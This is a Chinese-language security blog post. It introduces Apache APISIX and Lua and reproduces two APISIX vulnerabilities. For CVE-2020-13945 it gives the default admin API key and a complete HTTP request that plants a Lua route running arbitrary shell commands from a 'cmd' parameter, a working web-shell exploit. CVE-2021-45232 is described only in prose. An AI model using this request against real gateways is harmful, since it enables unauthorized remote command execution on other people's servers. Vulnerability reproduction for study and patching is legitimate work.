Apache APISIX

目录

[Apache APISIX是什么?](#Apache APISIX是什么?)

Lua

[Lua 的主要特点:](#Lua 的主要特点:)

[Lua 的常见应用:](#Lua 的常见应用:)

[CVE-2020-13945(Apache APISIX默认API Token导致远程Lua代码执行)](#CVE-2020-13945(Apache APISIX默认API Token导致远程Lua代码执行))

​编辑Lua脚本解析

[CVE-2021-45232(Apache APISIX Dashboard API权限绕过导致RCE)](#CVE-2021-45232(Apache APISIX Dashboard API权限绕过导致RCE))

Apache APISIX是什么?

Apache APISIX是一个高性能、云原生的API网关,它基于Nginx和Lua,用于处理和管理大规模的API请求。它是开源的,并且主要用于微服务架构中的流量管理、负载均衡、认证、访问控制、日志、监控等功能。

主要特点:

  • 高性能:基于 Nginx 的高性能特性,APISIX 能够处理大量并发请求。
  • 插件架构:提供丰富的插件系统,可以根据需求对流量进行控制(如身份验证、IP 限制、请求转发等)。
  • 动态路由:支持动态路由配置,可以根据请求的不同特点(如路径、方法、头信息等)进行流量路由。
  • 负载均衡:支持多种负载均衡算法,如轮询、加权轮询、最少连接等。
  • 支持多种协议:不仅支持 HTTP/HTTPS,也支持 WebSocket、gRPC 等协议。
  • 可扩展性:支持插件的动态加载和自定义插件开发,灵活扩展功能。
  • 云原生支持:与 Kubernetes 和 Docker 等云原生平台紧密集成,适合微服务架构。

典型用途:

  • API 管理:可以作为 API 网关,处理 API 的访问请求,提供认证、限流、日志记录等功能。
  • 微服务架构:在微服务架构中作为流量入口,统一管理和路由请求到不同的微服务。
  • 负载均衡和流量控制:通过配置负载均衡算法,平衡服务的流量和性能。

Lua

Lua 是一种轻量级、高效的脚本编程语言,它的设计目标是嵌入式开发,特别适合用作扩展语言。Lua 的语法简洁,执行效率高,且容易嵌入到其他应用中,常用于游戏开发、Web 应用、嵌入式系统等领域。

Lua 的主要特点:

  • 轻量级和高效:Lua 的内存占用小,启动速度快,适合在资源受限的环境下使用。它的执行效率很高,通常在嵌入式系统中作为脚本语言来进行扩展。

  • 简洁的语法:Lua 的语法非常简洁,易学易用。它的设计者遵循了"少即是多"的原则,语言本身没有太多复杂的概念和关键字。

  • 嵌入式脚本:Lua 设计的一个重要目的就是作为嵌入式脚本语言,能够轻松集成到其他应用程序中。通过 C API,Lua 可以方便地和 C 语言编写的应用进行交互,因此在游戏、网络服务等领域有着广泛的应用。

  • 动态类型和自动垃圾回收:Lua 是一种动态类型语言,不需要显式地声明变量类型,同时也支持自动垃圾回收(即内存管理自动进行)。

  • 扩展性:Lua 本身提供了非常简洁的 API,允许开发者方便地通过 C 语言与外部系统进行交互和扩展。

Lua 的常见应用:

  • 游戏开发 :Lua 经常作为游戏引擎的脚本语言,像 World of WarcraftAngry Birds 就是使用 Lua 来进行游戏逻辑的编写。
  • Web 开发 :Lua 在 Web 应用中也有应用,特别是与 Nginx 配合使用时,利用 OpenResty 平台提供高效的 Web 服务。
  • 嵌入式系统:Lua 可以嵌入到嵌入式系统中,控制硬件设备或进行系统配置。
  • 网络服务和 API 网关 :像 Nginx 这样使用 Lua 扩展的应用,可以通过 Lua 脚本进行定制化的功能扩展,如动态路由、流量控制、缓存等。

Nginx 与 Lua 的结合:

Nginx 本身是一个高效的 Web 服务器和反向代理服务器,但它的配置文件主要用于静态配置,处理不了很多动态的逻辑。而 Lua 可以通过 OpenRestyNginx 的 Lua 模块 来为 Nginx 增加动态的脚本支持,使其能够进行复杂的请求处理、数据处理等操作。例如,你可以使用 Lua 来编写自定义的路由逻辑、用户认证、请求转发等。

CVE-2020-13945(Apache APISIX默认API Token导致远程Lua代码执行)

漏洞成因:在用户未指定管理员Token或使用了默认配置文件的情况下,Apache APISIX将使用默认的管理员Token---edd1c9f034335f136f87ad84b625c8f1,可利用这个Token可以访问到管理员接口,进而通过script参数来插入任意Lua脚本执行。

版本要求:任意版本,截止本文章发布日期。

步骤1:使用默认Token访问管理员API接口来插入Lua脚本

复制代码
POST /apisix/admin/routes HTTP/1.1
Host: your-ip:9080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json
Content-Length: 406

{
    "uri": "/attack",
"script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close()  \n end \nreturn _M",
    "upstream": {
        "type": "roundrobin",
        "nodes": {
            "example.com:80": 1
        }
    }
}

Lua脚本解析

  • 定义模块 _M_M 是一个 Lua 模块,定义了一个函数 access,该函数将在每次访问时执行。

  • access 函数的功能

    • 它首先通过 ngx.req.get_uri_args() 获取 URL 参数中的所有查询参数。
    • 然后,它从查询参数中提取 cmd 参数的值,并用 io.popen() 执行这个命令。io.popen() 会在操作系统中打开一个进程,执行提供的命令,并且返回该命令的输出。
    • 接着,它读取并将命令的输出作为字符串通过 ngx.say(s) 输出到响应中。
    • 最后,关闭执行命令的进程。
  • upstream 配置 :这部分配置了一个上游服务器,它使用 roundrobin 负载均衡策略,将请求分发到 example.com:80 上。

步骤2:通过控制脚本里的参数值达到任意命令执行效果

CVE-2021-45232(Apache APISIX Dashboard API权限绕过导致RCE)

APISIX Dashboard是Apache APISIX的web管理界面工具。

漏洞成因:APISIX Dashboard 2.10.1版本前存在两个API接口/apisix/admin/migrate/export和/apisix/admin/migrate/import,这两个接口没有进过droplet框架的权限验证,导致未授权访问的攻击可以导出导入当前网关的所有配置项,包括路由、服务、脚本等。攻击者通过导入恶意路由,可以用来让APISIX 访问任意网站,或者是执行Lua脚本。

版本要求:APISIX Dashboard < 2.10.1

步骤1:利用接口的未授权访问导入恶意的配置文件,这里使用自带的脚本。

步骤2:发送数据包验证是否执行

相关推荐
lang2015092822 分钟前
如何使用 Apache Ignite 作为 Spring 框架的缓存(Spring Cache)后端
spring·缓存·apache·ignite
lang201509282 小时前
Apache Ignite 的监控与指标(Monitoring and Metrics)
apache·ignite
lang201509288 小时前
Apache Ignite 集群状态(Cluster States)
apache·ignite
谈不譚网安12 小时前
Apache HTTP Server 2.4.50 路径穿越漏洞(CVE-2021-42013)
网络协议·http·apache
lang2015092812 小时前
Apache Ignite 的分布式锁Distributed Locks的介绍
apache·ignite
lang201509281 天前
关于 Apache Ignite 中 Job 调度(Job Scheduling)与冲突控制(Collision Control) 的机制说明
apache·ignite
lang201509281 天前
Apache Ignite 的分布式原子类型(Atomic Types)
分布式·apache·ignite
lang201509281 天前
Apache Ignite 关于 **MapReduce API** 的详细介绍
apache·ignite
梦想画家2 天前
Apache Kafka实时数据流处理实战指南
分布式·kafka·apache
lang201509282 天前
Apache Ignite 的 JDBC Client Driver(JDBC 客户端驱动)
apache·ignite